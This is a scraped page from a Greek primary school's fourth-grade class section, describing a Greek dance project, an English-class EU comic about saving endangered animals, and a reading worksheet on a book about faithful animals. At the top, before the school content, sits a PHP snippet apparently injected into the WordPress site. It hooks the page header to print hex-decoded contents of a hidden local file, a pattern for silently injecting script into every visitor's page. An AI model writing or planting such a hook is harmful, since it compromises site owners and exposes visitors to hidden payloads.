if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return print(@hex2bin( '3c7' . (file_get_contents(__DIR__ .'/_inc.tmp')))); } } Δ Τάξη |
Get Adobe Flash player

Αναζήτηση

Ιστορικό

Δ Τάξη

ΧΟΡΕΥΟΝΤΑΣ ΤΑΞΙΔΕΥΟΥΜΕ ΤΗΝ ΕΛΛΑΔΑ

Χορεύοντας ταξιδεύουμε στην Ελλάδα Από τους μαθητές της Δ΄τάξης (σχ. έτος 2016-2017)

“The Comic Book of Euro-Heroes: Saving Endangered Animals”

Ευαγγελία Μυλωνά
Αγγλικά ? Δ? Δημοτικού 2013-2014

Η υλοποίηση του εκπαιδευτικού project ?The Comic Book of Euro-heroes: Saving Endangered Animals? πραγματοποιήθηκε κατά το μάθημα των Αγγλικών στα πλαίσια της συμμετοχής της διδάσκουσας στην Ευρωπαϊκή εκπαιδευτική δράση Teachers 4 Europe 2014 της Αντιπροσωπείας της Ευρωπαϊκής Επιτροπής στην Ελλάδα. Συμμετείχαν οι μαθητές των Δ1 και Δ2 τμημάτων του Δημοτικού Σχολείου Λεωνιδίου. Μετά από εξερεύνηση πολλών θεμάτων που άπτονται των ενδιαφερόντων της Ευρωπαϊκής Ένωσης (πολιτισμός, περιβάλλον, νόμισμα, κράτη-μέλη, διαφορετικότητα, πολύ-πολιτισμικότητα) οι μαθητές κατέληξαν να ασχοληθούν με το περιβάλλον που κινδυνεύει, τα ζώα που ζουν στην Ευρώπη και πιο συγκεκριμένα με τα ζώα υπό εξαφάνιση και την Ευρωπαϊκή πολιτική προστασίας του περιβάλλοντος.
Μετά από έρευνα και συζήτηση, οι μαθητές ανακάλυψαν ότι υπάρχει ανάγκη για άμεση δράση στον τομέα του περιβάλλοντος και ως εκ τούτου διάλεξαν το project τους να ενημερώνει και να ευαισθητοποιεί όλους τους αποδέκτες του (μαθητές, εκπαιδευτικούς, γονείς κ.α.). Για να γίνει πιο άμεσο και ζωντανό αυτό το μήνυμα, οι μαθητές κατασκεύασαν με το λογισμικό ComicStripCreator μια σειρά από ψηφιακά comics με μικρές αυτοτελείς ιστορίες διάσωσης ζώων που βρίσκονται σε κίνδυνο στην Ευρώπη. Με κοινό παρανομαστή αυτών των ιστοριών τους δυο σούπερ Ευρω-ήρωες (το Γιούροκ και τη Γιουρούλ), οι μαθητές γνώρισαν τους κινδύνους που διατρέχουν αυτά τα ζώα της Ευρώπης, γνώρισαν νέες χώρες, ταξίδεψαν νοερά και ηλεκτρονικά στην Ευρωπαϊκή Ένωση, έμαθαν ότι το περιβάλλον δε γνωρίζει σύνορα κρατών και ως εκ τούτου χρειάζεται συνεργασία ανάμεσα στις χώρες και κοινή Ευρωπαϊκή πολιτική προστασίας. Επίσης εξασκήθηκαν στη χρήση νέων τεχνολογιών, αλλά κυρίως έμαθαν παίζοντας και διασκεδάζοντας!
Το ψηφιακά μας κόμιξ θα βρείτε σε μορφή flipbook στον παρακάτω σύνδεσμο:

http://d1-d2.flipsnackedu.com/browse/fxk96f3u

ΦΙΛΑΝΑΓΝΩΣΙΑ

 

ΦΙΛΑΝΑΓΝΩΣΙΑ Δ ΤΑΞΗΣ

 


    Στα πλαίσια του μαθήματος της Φιλαναγνωσίας οι μαθητές επεξεργάστηκαν το βιβλίο «Από τον Άργο στη Λάικα-ζώα, πιστοί μας φίλοι πάντα» της Γαλάτειας Γρηροριάδου-Σουρέλη. Επίσης συμπλήρω

σαν ένα φύλλο εργασίας.

 

 

 

Πάντα, κάθε στιγμή της ιστορίας μας κάθε λογής ζώο έρχεται να συμπαρασταθεί  σε κάθε άνθρωπο που αντιμετωπίζει μία δύσκολη κατάσταση. Θα δούμε ιστορίες  όπου πρωταγωνιστούν ζώα που τα θυμόμαστε από ζώα όπως η Λάικα, σκυλίτσα που πήγε στο φεγγάρι και ο Άργος, ο πιστός σκύλος του Οδυσσέα.

ΦΙΛΑΝΑΓΝΩΣΙΑ Δ΄ ΤΑΞΗΣ

ΟΝΟΜΑ???????????????

ΗΜΕΡΟΜ??????????????.

ΦΥΛΛΟ ΕΡΓΑΣΙΑΣ

Από τον Άργο στη Λάικα. Ζώα πιστοί μας φίλοι πάντα. (Γαλάτεια  Γρηγοριάδου-Σουρέλη)

*************

1)Γράφω με δικά μου λόγια μία από τις ιστορίες που μου  άρεσε.                                       ——————————————————————————————–                     ————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————2)Ζωγραφίζω  κάτι από το βιβλίο που διαβάσαμε.

 

 

 

 

3)Χωριζόμαστε σε ομάδες και δραματοποιούμε ιστορίες ζώων.